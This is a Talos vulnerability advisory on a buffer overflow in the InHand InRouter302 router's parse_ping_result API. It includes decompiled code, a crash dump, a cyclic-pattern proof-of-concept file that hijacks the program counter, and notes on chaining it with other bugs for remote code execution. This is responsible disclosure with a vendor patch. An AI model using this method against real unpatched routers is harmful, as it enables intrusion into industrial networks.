Talos Vulnerability Report


InHand Networks InRouter302 httpd parse_ping_result API buffer overflow vulnerability

May 10, 2022
CVE Number



A buffer overflow vulnerability exists in the httpd parse_ping_result API functionality of InHand Networks InRouter302 V3.5.4. A specially-crafted file can lead to remote code execution. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

InHand Networks InRouter302 V3.5.4

Product URLs

InRouter302 - https://www.inhandnetworks.com/products/inrouter300.html

CVSSv3 Score

8.2 - CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - chain: TALOS-2022-1472, TALOS-2022-1468
### CWE

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)


The InRouter302 is an industrial LTE router. It features remote management functionalities and several security protection mechanism, such as: VPN technologies, firewall functionalities, authorization management and several other features.

The inRouter302 has a web server that listen at port 4444. This specific port, allegedly, is used for API services. The main difference between this port and the 80 and/or 443 is that the responses of the server, allegedly, will not have HTML in the response for requests received at port 4444. The web server, when receiving a request at port 4444, has at least one functionality more than the other two ports. Indeed in the apply.cgi there is a specific check that allows different actions if the request was received at port 4444:

void apply.cgi(void)

  _reboot = (char *)webcgi_safeget("_reboot","0");
  rboot = atoi(_reboot);
  if (rboot == 0) {
  else {
    _reboot = "";
    if (gl_server_port == 4444) {                                                                       [1]
      action_name = "action_start";
      ping_test_cursor = pingtest_api;
      do {
        action_name = (char *)webcgi_safeget(action_name,"error");
        is_PING_Test = strcmp(action_name,"PING_Test");                                                 [2]
        if (is_PING_Test == 0) {
          http_api_success = 2;
          if (ping_test_cursor->exec == (exec *)0x0) {
            http_api_success = 2;
          (*ping_test_cursor->exec)();                                                                  [3]
        ping_test_cursor = ping_test_cursor + 1;
        action_name = ping_test_cursor->name;
      } while (action_name != (char *)0x0);

In this function it is first checked, at [1], if the request was received at port 4444. Then an array of structure is parsed. The structure is composed of two fields:

char *name: the functionality name
code *exec: the function pointer

If in the request there was the action_result parameter, and its value was PING_Test, checked at [2], then at [3] the ping_action_result_API function is called:

void ping_action_result_API(void)

  int iVar1;

  iVar1 = pidof("ping");
  if (iVar1 == -1) {
    iVar1 = pidof("ping_timer");
    if (iVar1 == -1) {
} This function checks if no processes named `ping` and `ping_timer` exist, and then calls the `parse_ping_result` function:

undefined4 parse_ping_result(void)

  fd = fopen("/tmp/ping_result.txt","r");                                                               [4]
  if (fd == (FILE *)0x0) {
  else {
    while( true ) {
      n_read = fgets(chunk_of_file,0x100,fd);
      if (n_read == (char *)0x0) break;
      n_read = strstr(chunk_of_file,"statistics");
      if (n_read != (char *)0x0) {
        fgets(chunk_of_file,0x100,fd);                                                                  [5]
        );                                                                                              [6]

This function will open, at [4], the file located at /tmp/ping_result.txt, allegedly created by a previous request. It then reads the first two lines of the file and enters a while loop. The loop starts by reading one line; if it contains the string statistics then a second one, at [5], is read and parsed at [6] by sscanf. The line parsed with sscanf at [6] can be up to 256 bytes, but the three buffers used are only 32 bytes each. If an attacker is able to manipulate the content of the /tmp/ping_result.txt file and then call the apply.cgi API with the parameter parse_ping_result=PING_Test, then a buffer overflow would occur and can lead to remote code execution.

Note that, while this issue requires the most privileged logged-in user, it’s possible to use TALOS-2022-1472 to perform this API starting from a low-privileged user. Furthermore, is possible to use TALOS-2022-1468 to upload the /tmp/ping_result.txt file, making this attack remote. In this case, the actual chained CVSS score would be 9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.

Crash Information

$zero: 0x0       
$at  : 0x7faafd6e  →  0x00000000
$v0  : 0x0       
$v1  : 0x1       
$a0  : 0x77b581d8  →  0x00000000
$a1  : 0x1       
$a2  : 0x77b56300  →  0x00000000
$a3  : 0x1       
$t0  : 0x004820d0  →  0x00000069 ("i"?)
$t1  : 0x43      
$t2  : 0xc2c2d   
$t3  : 0x442     
$t4  : 0x40000000
$t5  : 0x40000000
$t6  : 0x0       
$t7  : 0x0       
$s0  : 0x6261616c ("laab"?)
$s1  : 0x6261616d ("maab"?)
$s2  : 0x6261616e ("naab"?)
$s3  : 0x6261616f ("oaab"?)
$s4  : 0x62616170 ("paab"?)
$s5  : 0x62616171 ("qaab"?)
$s6  : 0x62616172 ("raab"?)
$s7  : 0x62616173 ("saab"?)
$t8  : 0x0       
$t9  : 0x77b861dc  →   lui gp, 0x2
$k0  : 0x1       
$k1  : 0x0       
$s8  : 0x62616174 ("taab"?)
$pc  : 0x62616175 ("uaab"?)
$sp  : 0x7faafe50  →  "vaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaacia[...]"
$hi  : 0x70b0    
$lo  : 0xb5000000
$fir : 0x0       
$ra  : 0x62616175 ("uaab"?)
$gp  : 0x77b5e430  →   sw gp, 24(sp)
──────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7faafe50│+0x0000: "vaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaacia[...]"    ← $sp
0x7faafe54│+0x0004: "waabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacja[...]"
0x7faafe58│+0x0008: "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]"
0x7faafe5c│+0x000c: "yaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaacla[...]"
0x7faafe60│+0x0010: "zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma[...]"
0x7faafe64│+0x0014: "baaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacna[...]"
0x7faafe68│+0x0018: "caacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaa"
0x7faafe6c│+0x001c: "daaceaacfaacgaachaaciaacjaackaaclaacmaacnaa"
──────────────────────────────────────────────────────────────────────────────────────────────────────────── code:mips:MIPS32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616174
──────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, stopped 0x62616175 in ?? (), reason: SIGSEGV

Exploit Proof of Concept

If the /tmp/ping_result.txt file has the following content:

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac ignored ignored parsed ignored ignored parsed

Then, when the web server would receive a request for the apply.cgi API at port 4444 with the parameter parse_ping_result=PING_Test, the crash show in Crash Information would occur.

Vendor Response

The vendor has updated their website and uploaded the latest firmware on it. https://inhandnetworks.com/product-security-advisories.html https://www.inhandnetworks.com/products/inrouter300.html#link4



2022-03-02 - Vendor Disclosure
2022-05-10 - Public Release
2022-05-10 - Vendor Patch Release


Discovered by Francesco Benvenuto of Cisco Talos.